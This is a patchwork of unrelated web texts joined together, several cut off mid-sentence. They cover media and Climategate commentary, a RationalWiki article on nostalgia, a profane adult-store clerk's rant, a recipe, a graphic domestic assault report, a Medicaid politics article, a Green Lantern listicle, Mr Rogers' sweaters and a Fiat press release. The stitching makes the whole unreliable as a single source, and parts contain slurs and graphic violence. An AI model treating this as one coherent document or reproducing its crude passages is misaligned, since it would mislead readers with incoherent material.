Halperin stepped down from his role at MSNBC, Penguin canceled plans to publish his book on the 2016 election, and HBO halted development on a movie based on his planned work.
Related:Following the jury’s finding of “actual malice” in the libel suit against Rolling Stone over Sabrina Rubin Erdely’s hate hoax article “A Rape on Campus,” commenter eded writes:
Steve,
What does this story say about the value of newspaper comment sections that now seem to be on the way out?
I recall that the way UVA hoax really broke was when every journalist was praising the story, anonymous commenters were the only ones raising doubts. When Bradley wrote his blog post it was commenters linking to it in the newspaper comboxes that gave it an audience. Bradley was an obscure journalist writing a blog to fill his time between jobs. I don’t think it would have been widely read if it hadn’t been for you, and newspaper commenters. Every newspaper I read that did a story on the RS article seemed to a have link to Bradley’s blog post in the comment section.
Without comment sections does the article even get exposed as hoax or just take longer?Minutes after the Team announced its members, with Team captain Muir Russell emphasizing their impartiality, a commenter at Bishop Hill posted up an interview between Team member Philip Campbell, editor of Nature, in which he told Chinese radio that there was nothing to see here and people should just move along.
INTERVIEWER: I think you must have heard of the Climategate scandal recently. Some renowned global warming proponents showed a conspiracy to produce fraudulent data to support the global warming scenario. How do you see this scandal? Some say that this breaking couldn’t come at a worse time because of the upcoming Copenhagen conference. What’s your opinion. CAMPBELL: It’s true that it comes at a bad time but it is not true that it is a scandal. The scientists have not hidden the data. If you look at the emails there is one or two bits of language that are jargon used between professionals that suggest something to outsiders that is wrong. In fact the only problem there has been is some official restriction on their ability to disseminate their data. Otherwise they have behaved as researchers should. INTERVIEWER: So you think there has been some misunderstanding between the scientists and the outsiders? CAMPBELL: Absolutely, absolutely.
Campbell immediately resigned. Channel Four has video and commentary. BBC
Update: Nature blog reports that the Team defended their “independence”, even though Philip Campbell’s presence on the Team was already in question. I guess Nature didn’t get the memo yet.
Head of climate-gate inquiry defends independence – February 11, 2010 The team reviewing allegations of poor scientific practice at the University of East Anglia set out its stall today, and immediately faced questions about its own independence…. Review head Muir Russell staunchly defended the independent nature of the review when questioned about the fact that it is funded by the university itself. Russell, the former vice-chancellor of the University of Glasgow, also faced questions about the inclusion of Nature’s editor in chief Philip Campbell on the review team, as some of the questions to be answered concern research and researchers published in the journal. “We are completely independent,” Russell told reporters. “We’re free to reach any conclusions that we wish. We are free to follow questions wherever they take us.” Campbell added that he would be happy to excuse himself from any discussions that concern Nature. “Either you accept that the process is being as open as it can be, or you accuse us of covering up,” he added. Russell’s ‘Independent Climate Change Email Review’ is now one of five separate inquiries into the climate-gate emails
…
Full disclosure: Daniel Cressey is an employee of Nature and is ultimately answerable to Philip Campbell.Rich Whitney, the Illinois Green Party’s 2010 candidate for governor who earned over 10% of the vote in 200 |
From RationalWiki
“ ” Our parents rave about the good old times / It's so far away / The old Kaiserzeit. —We want to have our old Kaiser Wilhelm back! (song)[1]
“ ” Do you remember the good ol' days? You could get fish n' chips and polio in the good ol' days. —Frankie Boyle[2]
"Good old days" is a term that is often used in when engaging in nostalgia, remembering only the positive aspects of times past while sweeping concomitant negatives under the rug. It has also been called the Golden Age Fallacy.[3]
It is important to note a distinction between this fallacy and legitimate comparisons: not every positive appraisal of the past is wrongheaded, because the world really has changed. It's just that it's also always been complex and uneven, and no period or people have ever had a monopoly on virtue.
Origin [ edit ]
Much as one remembers one's own childhood with affection (endless summer days and playing in the winter snow), some people regard their parents' time as idyllic. There are a variety of factors to explain this, mostly relying on the phenomenon of selective memory and the affective heuristic: a father recounting the halcyon days of his youth not only remembers the different circumstances of that time, but also recalls that his hips didn't ache and all possibilities lay before him. Because it is unpleasant to remember the unpleasant, the warm glow of remembered youth tints the past.
Individuals of all political stripes fall prey to the Golden Age Fallacy. Hard green environmentalists and anarcho-primitivists focus on the evils of civilization and the glories of subsistence-level economies, while conservatives — almost by definition — seek to return to the values of the past, which requires glorifying the past.
Examples [ edit ]
Bygone eras [ edit ]
Some of the most popular locations for the good old days reside in distant history. The myth of the "noble savage" became particularly popular for many years, arguing that people in undeveloped nations (both in the past and present) actually lived happier lives than those in modern developed nations. As is common, this belief thrives in ignorance: once words like "infant mortality," "citrus fruit," and "toilet paper" enter the conversation, attitudes swiftly change. Prehistoric times, even, are touted as an era when primitive humans were better off; witness the so-called Paleo diet.
Ancient Greece, particularly Athens, is another long-lost paradise. After all, it is widely-known that it was the era of democracy and Socrates. Unfortunately, only wealthy native male property owners could vote, most Athenians were slaves, and Socrates was convicted of impiety and "corruption of the youth", and sentenced to death. Also, the Athenian democracy only lasted for two centuries.
While no longer in vogue, it has also been popular to call various parts of the medieval period in Europe the good old days. Rodney Starke's texts, such as The Victory of Reason: How Christianity Led to Freedom, Capitalism, and Western Success[4] and Thomas Woods' How the Catholic Church Built Western Civilization[5] promote one particularly stupid flavor of this fallacy: the theocratic paradise, where an insuperable Roman Catholic Church governed our world at its apex. While we may have advanced technologically, this line of thought suggests, in all other ways (most especially family values and the murdering of gays) we have fallen behind. Joining this Christ-centric view is a yearning for the Age of Chivalry, as a time of high honor and bravery. Mark Twain famously blamed Sir Walter Scott's paeans to knighthood in such works as Ivanhoe for the American Civil War:[6]
Then comes Sir Walter Scott with his enchantments, and by his single might checks this wave of progress, and even turns it back; sets the world in love with dreams and phantoms; with decayed and swinish forms of religion; with decayed and degraded systems of government; with the sillinesses and emptinesses, sham grandeurs, sham gauds, and sham chivalries of a brainless and worthless long-vanished society. He did measureless harm; more real and lasting harm, perhaps, than any other individual that ever wrote. Most of the world has now outlived good parts of these harms, though by no means all of them; but in our South they flourish pretty forcefully still.
Scott's idyllic "Merry England" was, however, even more specific as he subscribed to the "Anglo-Saxon paradise" version of English history. In this perspective, all ills are traced to the Norman conquest in 1066 and William the Conqueror, before which, apparently, all good English men were apparently free, if not exactly equal (though even this is somewhat fudged). According to this rosy-colored version of Anglo-Saxon England, all proper freemen had their say in the thing which in this narrative is some kind of proto-Westminster parliament(s).[notes 1]
A third variety is the more muddled wish for a simple rural Arcadia of uncertain provenance, as when folk singer Pete Seeger declared that "I want to turn the clock back to when people lived in small villages and took care of each other."[7] 1918's The Decline of the West by Oswald Spengler, one of the most infamous books in the "declinist" genre, called 16th and 17th century Europe a golden age — "summer" in his absurdly reductive seasonal model of civilizations.[8]
America [ edit ]
Happy Days: perhaps not the way it really was A wedding in: perhaps not the way it really was
Many periods of American history have been host to this fallacy. The revolutionary era of the 18th century, a time of gentleman farmers and tricorner hats, has long been venerated as the good old days. For a time, the succeeding century was also host to wistful yearning, despite its apt nickname, the "Gilded Age."
R.J. Rushdoony, Gary North, Larry Pratt, David Barton and other Dominionists promote the New England Puritan theocracy of the 17th and early-18th centuries as one such period.
The gang warfare of urban areas in the 1980s and 1990s was unparalleled… unless you knew something about history. New York City gangs existed in the 19th century with the influx of Irish immigrants, and from the turn of the century with the Chinese On Leong Tong or the Hip Sing Association under the leadership of Sai Wing Mock, and from the 1930s onwards with the Mafia. But, obviously, they weren't black people, so that is completely different. Obviously.
Of late, it has become peculiarly easy to divine an American's political persuasion based on whether they idolize the 1950s or 1960s. Do you fondly recall Woodstock and Kent State, or Happy Days and misogyny? In the good old days, they tended to hang black people up from trees, not let women vote and criminalize gay people. They may have been good times if you were a straight white dude though.
Also, while economically the US peaked from the end of World War II to the early ‘70s, this was because everywhere but the US and Soviet Union had their infrastructure bombed to smithereens, not because of conservative culture ruined by teh leebrals. And the economy hasn’t been destroyed since then, just shifted to the service sector (which is why free higher education has suddenly become such a politicized issue, as agriculture and manufacturing doesn’t require much education, while service work does). Despite this, many say they could somehow reverse the economy back to the “golden age”, even though this has just left us completely unprepared for the new service economy.
East Germany [ edit ]
The East German Trabant: uncomfortable, slow, noisy, and dirty
See the main article on this topic: East Germany
There is a phenomenon called Ostalgie (a portmanteau of the German words for "east" and "nostalgia") current in Germany. Due partially to the manner in which the reunification of Germany was executed, which resulted in economic depression and large-scale unemployment in the former East Germany, adherents to Ostalgie remember the period of communism there fondly, thus demonstrating why it is necessary for the German government to maintain a Federal Commissioner for the Stasi Archives keeping the memory of the East German police state alive to counterbalance this.
It should be noted that in many ways Ostalgie is the result of shameless marketing. Many products available in East Germany that are meant to commemorate the German Democratic Republic were old brands that died during reunification and that were resurrected by West Germans to make it easier to brand and market their products to the region. Some companies even attempted to commercialize the heraldry of the German Democratic Republic.[9] Ironically, part of their success lies in the fact that West Germans improved the quality of these products. Back in the days of the GDR, many of these brands were notable for being of inferior quality to their Western equivalents and were often avoided for that reason.
The Soviet Union under Stalin [ edit ]
See the main article on this topic: Stalin apologetics
A number of Russians today remember Joseph Stalin's Soviet Union fondly as a period of national glory, conveniently forgetting that Stalin was a dictator and a serious slimeball who deliberately murdered some millions of Soviet citizens and administered over famines that killed millions more. It's also perhaps easier to shrug off the summary arrest, imprisonment, torture, and execution of political dissidents, people belonging to the wrong ethnic group and accused "wreckers" when your apartment is no longer subject to the knock on the door at three in the morning. And that's not including the super fun Gulag!
Stalinist nostalgia is a reaction to the uncertainty caused by dissolution of the Soviet Union, where many social benefits were withdrawn, while oligarchic businessmen or "businessmen" reigned. The canonical anecdote is illustrative: "The intermediate stage between socialism and capitalism is alcoholism." This draws people towards the fantasy of "good old days" when there was "order".
Victorian Britain [ edit ]
th century Britain[10] Girl hauling a coal tub, mid-19century Britain
The economy was booming, the workers didn't whine about 16-hour, 6-day work weeks (and neither did their children ), and the darkies, Jews, and common folk (like poor people, how dare they not be born into nobility!) knew their place. Also, the "Empire"[notes 2] provided a handy source of raw materials from which to create even more wealth. Good times, indeed.
Philippines [ edit ]
See the main article on this topic: Philippines
Since the early 2000s, there has been a concerted attempt by supporters of deposed dictator Ferdinand Marcos to wipe the shit off his name and polish it to brand-new. Examples cited of the good old days under Marcos are the low peso-to-dollar exchange rate, the fact that the Philippines had Asia's second-largest economy next to Japan based on gross domestic product, and low crime rates. Needless to say, most people who post about the good old days of martial law were either born in the 1980s or later, and thus didn't experience the good old days when the police could knock on one's door just for saying bad stuff about Imelda Marcos, the Little People's Star and Slave.
A tale [ edit ]
Terry Pratchett's Reaper Man (1991):
The sun was near the horizon. The shortest-lived creatures on the Disc were mayflies, which barely make it through twenty-four hours.[notes 3] Two of the oldest zigzagged aimlessly over the waters of a trout stream, discussing history with some younger members of the evening hatching. "You don't get the kind of sun now that you used to get," one of them said. "You're right there. We had proper sun in the good old hours. It were all yellow. None of this red stuff. "It were higher too." "It was. You're right." "And nymphs and larvae showed you a bit of respect." "They did. They did," said the other mayfly vehemently. "I reckon, if mayflies these hours behaved a bit better, we’d still be having proper sun." The younger mayflies listened politely. "I remember," said one of the oldest mayflies, "when all this was fields, as far as you could see." The younger mayflies looked around. "It’s still fields," one of them ventured, after a polite interval. "I remember when it was better fields," said the old mayfly sharply. "Yeah," said his colleague. "And there was a cow." "That’s right! You’re right! I remember that cow! Stood right over there for, oh, forty, fifty minutes. It was brown, as I recall." "You don’t get cows like that these hours." … "What were we doing before we were talking about the sun?" "Zigzagging aimlessly over the water," said one of the young flies. This was a fair bet in any case. "No, before that." "Er … you were telling us about the Great Trout." "Ah. Yes. Right. The Trout. Well, you see, if you’ve been a good mayfly, zigzagging up and down properly—" "—taking heed of your elders and betters—" "—then eventually the Great Trout—" Clop Clop "Yes?" said one of the younger mayflies. There was no reply. "The Great Trout what?" said another mayfly, nervously. They looked down at a series of expanding concentric rings on the water. "The holy sign!" said a mayfly. "I remember being told about that! A Great Circle in the water! Thus shall be the sign of the Great Trout!"
See also [ edit ]
Bibliography [ edit ]
The Way We Never Were: American Families And The Nostalgia Trap, Stephanie Coontz [11]
, Stephanie Coontz The Idea of Decline in Western History, Arthur Herman [12]
, Arthur Herman The Good Old Days — They Were Terrible!, Otto L. Bettmann [13]
Notes [ edit ]
↑ whose episode on the topic bears the telling title The Norman Yoke and claims that Anglo-Saxon England had a This strain persist even into the present as seen in the 2012 historical documentary series The Great British Story: A People's History whose episode on the topic bears the telling titleand claims that Anglo-Saxon England had a national identity ↑ Most of the rest of the world. ↑ does rarely last more than 24 hours, mayflies can live for several years before they moult. In reality, although an adult mayfly does rarely last more than 24 hours, mayflies can live for several years before they moult.
References [ edit ]QR Code Link to This Post
it's NOT ok to contact this poster with services or other commercial interests
Maybe you want to buy some pornography or maybe you'd like to purchase some condoms, lube, lingerie, toys, games or whatever other merchandise we carry. That's great, and I hope you find what you want in the store, but please, avoid these pitfalls and be a good customer.1. If you are a needy as hell customer who asks me to check movies before you rent or buy them to make sure you will like them, I will secretly hate you. All of our movies have people fucking in them. Usually 2 or more people! This much you should know. Now do the following: Look at the box cover. Is it appealing to you? No? Stop, put the movie away and pick up another and try again. Yes? Good! Now, turn over the box. Do you see those other pictures? If none of those appeal to you, don't rent the movie. If they appeal to you, rent it, take it home, wank to it, be happy. If it's not to your liking, shut the fuck up and rent another movie. I really don't care if it wasn't appropriate wanking material up to your fine and high pornography standards. This isn't a restaurant where you can send something back if you don't like it – it's a porn store.2. If you return movies that you rented with unidentified substances on them, you are a nasty motherfucker who should get hit by a bus. I get paid $9.00/hour, which is not enough to clean up your spunk. Wash your hands before you take the DVD out of the player, you nasty ass son of a bitch. After you return that nasty jizz covered movie, I will curse you loudly, put on 2 pairs of latex gloves, use copious amounts of cleaning supplies and then put a nasty note in your account about how you are a nasty asshole who can't return a movie the way we gave it to you - clean and DNA free. Then, everyone who works in the store knows what a nasty person you are. So for the love of Christ, wash your nasty hands and have some respect for the people who work here.3. If you and your partner come into my store and you want to buy some lingerie, that is great. It's even nice if your husband/boyfriend/John/whatever wants to help you into the lingerie as some of the stuff we sell is hard to get on by yourself. But seriously, don't fuck in my dressing room. That is nasty and gross. Take your lingerie, try it on, buy it if you like it, take it home and fuck there. I wouldn't come into your place of work and fuck on your desk, so don't have sex here in my store. Don't try to be sneaky about it either. If I notice you've been in the dressing room for more than a few minutes, I'm going to come by and knock on the door to see if everything is okay. And if I hear moaning and grunting, I'm going to call the police.4. Please treat our merchandise with some respect. In any other store would you open up boxes, rip off labels, or throw things around? I doubt it. Also, my store is not a club or a party. I know we are open late, so maybe you really do think this is a club, but I swear it's not. It's a store. We're here to sell things and make money. The things we sell are fun and great, sure, but this is not a place for you and all of your friends to come in and laugh and scream and point (and destroy merchandise, as mentioned above) for 2 hours and then leave without purchasing anything.5. Don't hit on me or any of my coworkers. That is desperate and gross. Also, you're standing at my counter with 2 tranny movies, some desensitizing spray and a pair of panties. Do you really think this situation lends itself to me agreeing to go out with you? Nope, didn't think so. Also, don't stare at me or my coworkers like we're pieces of meat. Don't ask us inappropriate questions either. No, I won't demonstrate how the toys are used. I also won't tell you what it is I like in bed. And seriously, if you ask me to model lingerie one more time, I'm going to kick you out.6. Additionally, just because I work at an adult store does not make me uneducated, a freak, a stripper, a prostitute or desperate. I am college educated (and currently in graduate school), well read and a pretty normal person with friends, family, a dog, hobbies, etc. I took this job for a variety of reasons, none of which I have to explain to you.7. If I ask for your ID, don't give me grief. Take it as a compliment – I'm saying that you look youthful and fresh. I can get in trouble and lose my job for letting someone under 18 into the store. Don't bitch about how you don't have your ID (I have to ask you to leave, sorry) or how you have to go out to your car and walk the terrible 30 feet to get it or ask me how old I think you are. You look like you could be under 18. Show me your ID and I'll leave you alone. If all of your friends show me their ID but you “don't have yours,” I'm going to have to ask you to go outside. Just because all of your friends are 18+ does not mean you are. I know it's a bummer, but it's the rule.8. And finally, if you are someone who brings your child into the store, you fail at parenting and at life.Thanks, and have a great day.Your Friendly Adult Store ClerkCheck out these green noods!
Happy St. Patrick’s Day! Our mission, should we choose to accept it, is to de-bloat on green turnip noodles before we re-bloat on green beer. Sound good? #ProTip: The ye olde de-bloat before re-bloat saga is the key to a successful St. Paddy’s.
But seriously, what are you doing to celebrate? Does it involve Guinness and Irish Pub Pandora radio? Vegetable noodle pasta that happens to be a natural anti-inflammatory? Shepherd’s Pie? Irish Soda Bread? Colcannon? Cosmopolitans and brownies?
Just thought I’d ask.
The turnips at the grocery store I shop at have been uuuuuge lately, an observation that immediately made me think of noodles. Since I’ve been eating my weight in meat and potatoes lately, I thought I’d make a light-ish dish that could still trick me into thinking I was eating comfort food. Nothing like a little self-manipulation to keep the ol’ waistline in check.
In case you’re unfamiliar with turnips, they’re a starchy root vegetable full of phytonutrients, minerals, and are a natural anti-inflammatory (as previously mentioned). Turnips are less carb-y than potatoes and are full of calcium, magnesium, potassium, and fiber. Plus didyouknow turnips contain a third of the calories of potatoes? So basically, they’re every woman’s dream. The fact that the flavor of turnips is so subtle makes them an easy root for the pasta-ing. You can sauce these puppies however you please.
Yet another reason I love my Paderno Spiralizer is it can spit out turnip noodles faster than you can say, “Constantinople.” Seriously, this recipe took 8.7 seconds (slash 30 minutes) to prepare, making it an easy weeknight meal. The dish makes you feel satisfied but not stuffed the way regular noodles do, and they’re chockerblock full of pesto-y artichoke-y flavor. You can even add sun-dried tomatoes or chicken if you want to be a real champ about it.
Do you have an extra special pesto sauce you love using for all your pesto-ing needs? I love making parsley, roasted beet, and kale pesto homemade, but am always up for a store-bought basil pesto in a pinch. You can make your sauce using whatever herbage you fancy or snag some at the store. It’s your noodle and you’ll pesto how you want to. But add kale to the pasta for some extra vitamins, will ya? If we’re gonna go veg, we may as well go big, right?
In with the green, out with the bloat!
Turnip Pesto Pasta with Artichoke Hearts and Kale Print Ingredients 2 large turnips peeled and spiralized
2 cups loosely packed kale leaves finely chopped
1 cup kale pesto
2 tablespoons grapeseed or olive oil
1 6.5- ounce jar marinated artichoke hearts chopped
3 tablespoons pine nuts
Parmesan cheese for serving optional Instructions Chop the tip and tail off of the turnips, peel them, and spiralize them using a spiralizer Add the kale, oil and pesto to a large skillet and heat to medium. Cook until kale has wilted, about 3 to 5 minutes. Add the turnip noodles and artichoke hearts and stir well until the noodles are coated in sauce. Cover and cook 8 to 12 minutes, stirring occasionally, until noodles have reached desired done-ness. Note: if noodles begin to stick to the bottom of the pan, add more oil or a couple tablespoons of water. Serve pasta with pine nuts and freshly grated parmesan cheese if desired. (To keep this recipe vegan or paleo, skip the cheese).
What you’ll need for this recipe:
Disclosure: if you click on any of the amazon links in this post and make a purchase, I will receive a small commission. As always, thank you kindly for your support!
Looking for more veggie noodles? Try these out!:
Carrot Noodles with Ginger-Lime Peanut Sauce
Mediterranean Zucchini Noodle Pasta
Zucchini Noodles with Roasted Tomatoes and Lemon Garlic Sauce
Green Curry Sweet Potato Noodle BowlsA Sioux Falls woman was taken to a hospital Tuesday after police said her ex-boyfriend assaulted her and cut off her nipples with scissors.
According to Sioux Falls Police, the 39-year old victim was at her house in the 4300 block of W. 58th St. around 5 p.m. when her ex-boyfriend came over, and they got into an argument about their relationship.
The argument turned violent when the suspect allegedly punched the victim in the face, slammed her head onto the ground multiple times, and pinned her down by the throat to constrict her breath while forcing a blanket into her mouth, before cutting off her nipples with scissors.
Police said the victim managed to free herself from the suspect and yelled for help, but the suspect called 911 to explain the situation.
Police said 45-year-old Tony Deval Ledbetter was charged with Domestic Aggravated Assault.The Giants expand food options at AT&T Park
Click through the gallery to see a few of the new food offerings at the ballpark. >>> Fans fill the field as the San Francisco Giants hold their FanFest event at AT&T Park in San Francisco.
Click through the gallery to see a few of the new food offerings at the ballpark. >>> Fans fill the field as the San Francisco Giants hold their FanFest event at AT&T Park in San Francisco. Photo: Michael Short, Special To The Chronicle Buy photo Photo: Michael Short, Special To The Chronicle Image 1 of / 42 Caption Close The Giants expand food options at AT&T Park 1 / 42 Back to Gallery
Believe or not, there was a point in time when the only foods at a baseball stadium were peanuts, hot dogs and cracker jacks.
These days, it wouldn't surprise a soul to see Thomas Keller from the French Laundry stroll into AT&T Park and whip up lobster rolls and chicken sandwiches, which is actually happening at pop-up event on September 19. (Tickets are not on sale yet, but it's described as a "pregame tasting event.")
The Bay Area is one of the country's premiere dining destinations, which means we always seem to be looking beyond peanuts, hot dogs and warm beers.
On Wednesday, the San Francisco Giants gave a glimpse of the food future at AT&T Park, one filled with 100 percent organic menus, ice cream sandwiches, deli and pub fare and some old-fashioned barbecue.
New this year on the Promenade Level:
The Organic Coup: This fried chicken joint is the first USDA Certified Organic fast food restaurant in the country, and there are two brick-and-mortar outposts in San Francisco. And with its new location in Section 134, it'll become the first 100-percent certified organic vendor at AT&T Park. The menu includes fried chicken sandwiches topped with cabbage slaw, plus tots and tenders.
CREAM: The Bay Area's popular ice cream shop has a new kiosk headed to Section 130. The menu has baked ice cream cookie sandwiches, cookies, ice cream and coffee.
SF Soup Company: Section 113 will be home to the soups like homemade clam chowder and chili.
Mission Street Taqueria: Burritos bowls, burrito bowls and more burrito bowls.
McCovey's BBQ: Newly relocated to Section 110.
New on the Field Club Lvel:
Tony's Slice House: Tony Gemignani and his pies have found their way to the Field Club; there is also a stand in section 103.
Zach's Deli: Pastrami, turkey, brisket, and corned beef New York-style deli sandwiches.
Bar San Pancho: The Tacolicious spin-off will serve hot wings, hotter wings, chicharones, chips and dips, tacos dorados, nachos and just about anything else that's both fried and delicious.
Virgin America Club Level:
The Cove: Seafood dishes like clam chowder, shrimp cocktail, ahi tuna poke, crab, fried calamari and shrimp po'boy.
Murph's Pub: Chicken pies, beef pies, and root vegetable pies large enough to share.
Bar San Pancho: Same as the Field Club site.Obamacare had the Cornhusker Kickback.
Now, it looks like Trumpcare will have the Buffalo Buyout.
As House Republicans prepare this week to vote on the American Health Care Act ― the legislation that would repeal the Affordable Care Act ― congressional leadership is doing what leadership often does when scrambling to secure votes: offering legislative goodies.
Among the sweeteners leadership is handing out is a seemingly arcane change to a Medicaid funding formula that appears to be an attempt to help rural districts in New York. Those districts count among their representatives four GOP members who have shown at least some reluctance to passing the health care legislation: John Faso, Claudia Tenney, Elise Stefanik and John Katko.
Rep. Chris Collins (R-N.Y.), the Buffalo-area Republican who was the first lawmaker to endorse Trump’s 2016 bid for the presidency, has taken the lead on the proposal. But the amendment, which has been attracting attention in the local press, appears tailored to win over those three or four moderate GOP votes.
An aide to a New York GOP member with knowledge of the situation told The Huffington Post on Monday that the inclusion of the amendment would have a “large impact” on those members voting for the final product, with all but Katko thought to be leaning toward support. And, the aide said, New York GOP offices were “confident” the language would be included in a manager’s amendment.
New York is one of at least 16 states that call upon local governments to contribute money for Medicaid, the program that provides health insurance to low-income people and that the Affordable Care Act expanded dramatically.
Partly as a result of that expansion, the percentage of New York adults without insurance fell from 12.6 in 2013 to 7.0 in 2016, according to the Gallup Healthways Well-Being Index.
But politicians in New York’s rural counties have complained frequently about the burden, saying that it drives up their property taxes. During the 2016 campaign, Faso proposed amending Medicaid law so that states could no longer demand counties contribute.
The amendment would attempt to accomplish the same thing. And it would apply only to local jurisdictions with less than 5 million residents ― thereby excluding residents of New York City, whose city income taxes also contribute to state Medicaid funds and where the population exceeds 5 million.
According to a background document on the amendment obtained by HuffPost, New York counties contribute $7 billion to New York’s roughly $27 billion annual Medicaid liability, with $2.2 billion of those coming from outside New York City. By shifting those costs onto the state, in theory, counties could either lower property taxes that help pay for Medicaid, or spend the money on other programs.
Proponents of the amendment argued that, by forcing the state to make do without county contributions, the state would have to think twice about how much it is spending ― and to find ways of economizing.
“New York State is not realizing the financial impact of its out-of-control Medicaid policy,” the background document from Collins’ office reads. (New York spends 44 percent more per Medicaid beneficiary than the national average ― in part because health care in New York, like pretty much everything in New York, is unusually expensive.)
But New York Democrats were quick to blast the proposal. In a prepared statement, Lt. Gov. Kathy Hochul warned that the shift of Medicaid costs over to the state government would take place at the same time the federal government was cutting its own contribution, as part of the GOP repeal effort.
The result of this “one-two punch,” she warned, would be some combination of higher taxes and benefit cuts. “New Yorkers will be at risk of losing their healthcare, hospitals will be forced to lay off workers, and our vulnerable elderly will find it much harder to afford nursing home care,” she said.
Other critics wondered whether the effort could boomerang, by prompting Albany to cut other funds that benefit the counties.
“Rather than providing relief for county taxpayers, the State would surely respond to the lack of Federal revenue through huge spending cuts, including, potentially, cuts to county aid,” Kenneth E. Raske, president of the Greater New York Hospital Association, wrote in an open letter to the group’s members.
At this point, Republicans are trying to pick off individual moderate votes for their health care bill, with the expectation that President Donald Trump will have to win over conservatives. The Buffalo Buyout ― or the Tammany Haul, or the Empire State Earmark, or whatever you may want to call it ― is a recognition that leaders are close, but can’t afford to lose votes from moderates.
Democrats made similar deals while writing the Affordable Care Act in 2009 and 2010, with the so-called Cornhusker Kickback ― a promise to increase Medicaid funding to Nebraska, supposedly in exchange for the vote of then-Sen. Ben Nelson (D-Neb.), who was the 60th vote Democrats needed to overcome a Senate filibuster.
Nelson defended the arrangement, saying that he was a longtime opponent of Washington demanding that states pay for programs ― and that he had intended the provision as a “marker” that would inspire other states to demand similar deals.When you're being robbed by a street thug, you call a police officer. Who do you call if your planet is being invaded or someone is trying to steal your sun? You call the Green Lantern Corps, the policemen of the DC Universe. The galaxy has some pretty mean characters, so if you're going to lay down the law, you better bring an attitude as powerful as the Power Ring that you're wearing. But when is tough too tough?
RELATED: Green Lantern Corpse: 15 CRAZY AF Things From The Sinestro Corps War
When you possess one of the most powerful weapons in the galaxy and you're in charge of policing an entire sector of space, what's to stop you from using a little bit of unnecessary roughness? We know that absolute power corrupts, but is it the ring that made them so cruel or was that viciousness there all along? There are many Green Lanterns known for their benevolence and their heroism, and there are others that are infamous for how they administer justice to those in the wrong. After reading this list you may ask yourself: "How did this person become a Green Lantern?" CBR takes a look at 15 of the most vicious members of the Green Lantern Corps.
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15 SINESTRO
Sinestro is so devilish he went and made his own Corps to rival the Green Lanterns. But before he was slinging a fearful yellow ring, he in fact was a member of the Green Lanterns... and he did a great job!
While a member of the Green Lantern Corps, he was well respected and considered by some the greatest members of the Corps. Then there was that little matter of him setting up a dictatorship on the planet Korugar that got him banished by the Guardians to the antimatter universe. How did he become a Green Lantern in the first place? In the New 52, it was revealed that a Green Lantern named Prohl Gosgotha crash-landed near Sinestro, and instead of nursing him back to health, allowed him to die and took his ring. That should have been the first clue as to how cruel he could be. Sinestro later formed the Sinestro Corps, a rival corps that uses yellow rings that utilize fear as its power source.
14 THE CORPSE
Wait, the Corpse as in a dead body? Exactly, because that's what you'll wind up being if you're their target. Consider yourself warned.
The Corpse is the "black-ops" division of the Green Lanterns. They're so incognito that, at first glance, they don't even look like they're a part of the Green Lantern Corps. Corpse members are clad in black and don't even wear Power Rings; they ingest coin-like disks that give them the powers of the rings for a limited time. However, the constructs and energy they produce are purple, not green. Not even members of the Green Lantern Corps are aware the Corpse exist. There's a reason why they're not known: Corpse members were authorized to use lethal force prior to the rule being changed (which took place during "The Sinestro Corps War") so that all Green Lanterns could, so they are either going to kill you or wipe your memory of them.
13 KRONA
Krona is a former member of the Guardians of the Universe whose curiosity led to the creation of the very Multiverse itself! Thanks to the time and space alteration of Krona, Marvel and DC were able to have a crossover where the Justice League of America meets and fights the Avengers.
The very first attempt by the Guardians of the Universe at intergalactic police were the Manhunters, a race of emotionless robots that did the Guardians' bidding. Krona thought that having an emotionless police force was a bad idea, and came up with the equally bad idea of reprogramming them to kill everyone in Space Sector 666. The Guardians abandoned the Manhunters and created the Green Lantern Corps, so although Krona got his wish, almost everyone on the planet Ryut perished due to his tinkering. Such a lack of respect for life and a nefarious mind makes Krona one of the most vicious members of our list.
12 UNIVERSO
Universo was a member of the Green Lantern Corps. Well, not yet... technically he will be a member. Universo joined the Lanterns in the latter part of the 30th century and went by the name Vidar. As a Lantern, he stopped experiments on Earth that had the potential to reveal the secrets of the universe. It was too good of an opportunity to pass up such power and knowledge, so Vidar went rogue. Fortunately, was defeated by the Legion of Super-Heroes in issue #349 of Adventure Comics.
What makes him so vicious is the lengths he'll go to gain more power. Universo joined the Legion of Super-Villains and, during a miniseries known |
me over email, “I just felt like somebody needed to do it…might as well be me.”
The chart below uses the data Lybarger meticulously collected to show how Rogers’ preferences for the color of his cardigan changed over time.
data from neighborhoodarchive.com
Each square represents an episode and the approximate color (designers don’t @ me) of the sweater that Rogers wore. There were three episodes during this stretch when Rogers went without a sweater.
Some sweaters were worn once and then never again, like the neon blue cardigan Rogers wore in episode 1497. Others, like his harvest gold sweaters, were part of Rogers’ regular rotation and then disappeared. And then there were the unusual batch of black and olive green sweaters Rogers wore exclusively while filming the “Dress-Up” episodes in 1991. To this day, members of the Neighborhood Archive message board claim those are the only sweaters Rogers wore that were store bought. The rest were hand knit by his mother.
As a ’90s kid, I associate Rogers with his red cardigan more so than any other sweater, so it was surprising for me to see that green is actually the color he favored the most — edging out red by a total count of 74 to 54. It turns out though, Rogers was red-green colorblind, so I like to think that some punk PA was messing with him and told Rogers they were both different shades of brown.
A noticeable pattern also shows up when you lay out the color of each sweater Rogers wore chronologically: Over time, Rogers ditched the pastels for darker, more saturated tones.
Before every Urban Outfitters in the world was stocked full with cardigans, Rogers made them his signature accessory. His fashion-forwardness should inspire Mark Zuckerberg, the modern poster boy of the “work uniform” movement, to try and dress a little less like a fuckmook.
The code used in this analysis can be found here.
(Ed. note: Fred Rogers’s questionable ess-less possessive has been honored throughout.)Cars The Fiat 124 Spider Returns
The Fiat 124 is back and I couldn't be more excited. I've been anxiously awaiting the unveil as someone who has many fond memories of top-down driving in a 124.The 124 when it first came out 50 years ago it was a leap forward in the common mans sports car. Featuring 4 wheel disc brakes, a 5 speed manual transmission, a double overhead cam, aluminum crossflow head, and modern steering-column mounted lighting-controls; it was ahead of it's time.The new 124 marks the official return of a true Fiat Sports car in the US market since they left in 1982. The new car picks up many of the styling cues of the original from the power bulges on the hood, to the shape of the grill and Pininfarina inspired good looks. I can't wait to get behind the wheel of this one.Check out the official release below.Official Release:2017 Fiat 124 Spider returns nearly 50 years after original introductionRevival of roadster continues expansion of FIAT brand in North America- Delivers iconic Italian style with modern adaptation of original Spider legend- Powered by turbocharged MultiAir 1.4-liter engine for 160 horsepower and 184 lb.-ft. of torque, available with manual or automatic transmissionAvailable with an array of safety and security features, plus technologies for added comfort and convenience- First 124 units will be available as limited-production Prima Edizione LussoAuburn Hills, Mich., Nov 18, 2015 - The all-new 2017 Fiat 